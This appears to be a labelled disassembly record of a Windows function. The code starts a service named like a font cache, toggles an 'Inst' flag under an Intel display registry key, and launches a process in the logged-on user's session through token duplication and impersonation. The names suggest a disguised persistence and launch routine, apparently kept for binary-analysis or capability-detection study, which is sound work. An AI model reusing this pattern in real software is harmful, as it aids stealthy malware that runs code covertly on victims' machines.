Function at 0x14000c0e0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value
Start service

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x8c8]
sub rsp, 0x9b0
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140043110]
xor rax, rsp
mov qword [rbp + 0x8a0], rax
mov r14d, ecx
xor r15d, r15d
mov dword [rsp + 0x60], r15d
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x70], r15
mov ebx, r15d
xor edx, edx
xor ecx, ecx
lea r8d, [r15 + 0x10]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x14000c1ab
lea r8d, [r15 + 0x10]
lea rdx, str.FontCache3.0.0.0
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x14000c194
nop dword [rax]
nop dword [rax + rax]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x14000c189
inc ebx
cmp ebx, 2
jl 0x14000c170
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x14000c1a0
lea rcx, [0x140046230]
call fcn.1400059f0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x14000c1b7
lea rcx, [0x140046230]
call fcn.1400059f0
mov edx, 0x400
lea rcx, [0x140048e50]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rbp - 0x78], r15
mov dword [rbp - 0x70], r15d
mov qword [rbp - 0x68], r15
mov r9d, 0x2001f
lea r8, str.SOFTWAREIntelDisplayigfxcui_
mov rdx, 0xffffffff80000002
lea rcx, [rbp - 0x78]
call fcn.140005dc0
mov rbx, qword [rbp - 0x78]
test eax, eax
jne 0x14000c237
mov dword [rsp + 0x68], 4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
xor r8d, r8d
lea rdx, str.Inst
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.14000b760
test rbx, rbx
je 0x14000c24c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, r15
mov qword [rbp - 0x78], rbx
mov dword [rbp - 0x70], r15d
mov word [rbp + 0x30], r15w
xor edx, edx
mov r8d, 0x862
lea rcx, [rbp + 0x32]
call fcn.1400140c0
mov eax, dword [rsp + 0x60]
cmp eax, 1
jne 0x14000c29a
call fcn.14000c9f0
call fcn.14000b6b0
call fcn.14000b600
lea r8, [0x140047d70]
mov edx, 0x432
lea rcx, [rbp + 0x30]
call fcn.140014a08
call fcn.14000c550
jmp 0x14000c2d1
cmp eax, 2
jne 0x14000c2a8
lea r8, [0x140047500]
jmp 0x14000c2c3
call fcn.14000c8e0
call fcn.14000c7d0
call fcn.14000ca90
call fcn.14000bda0
lea r8, [0x140049650]
mov edx, 0x432
lea rcx, [rbp + 0x30]
call fcn.140014a08
test r14d, r14d
jne 0x14000c2df
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov r14d, eax
lea rdx, [rbp - 0x80]
mov ecx, r14d
call sub.WTSAPI32.dll_WTSQueryUserToken
test eax, eax
je 0x14000c491
mov qword [rbp - 0x60], r15
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rax
xor edx, edx
lea r8d, [rax + 0x60]
lea rcx, [rbp - 0x38]
call fcn.1400140c0
mov dword [rbp - 0x40], 0x68
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14000c491
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000c481
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x14000c46a
lea rcx, [0x140046230]
call fcn.140008f80
lea rax, str.winsta0default
mov qword [rbp - 0x30], rax
mov eax, dword [rsp + 0x60]
dec eax
cmp eax, 1
jbe 0x14000c3e4
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000c46a
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000c46a
mov qword [rsp + 0x78], r15
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
call sub.USERENV.dll_CreateEnvironmentBlock
lea rax, [rbp - 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000420
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x14000c45b
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000c46a
call sub.USERENV.dll_DestroyEnvironmentBlock
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, qword [rsp + 0x70]
cmp rcx, 0xffffffffffffffff
je 0x14000c481
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
cmp rcx, 0xffffffffffffffff
je 0x14000c491
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x78], r15
mov dword [rbp - 0x70], r15d
mov qword [rbp - 0x68], r15
mov r9d, 0x2001f
lea r8, str.SOFTWAREIntelDisplayigfxcui_
mov rdx, 0xffffffff80000002
lea rcx, [rbp - 0x78]
call fcn.140005dc0
mov rdi, qword [rbp - 0x78]
test eax, eax
jne 0x14000c4f5
mov dword [rsp + 0x68], 2
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Inst
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test rdi, rdi
je 0x14000c504
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test rbx, rbx
je 0x14000c512
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rbp + 0x8a0]
xor rcx, rsp
call fcn.140013b10
lea r11, [rsp + 0x9b0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret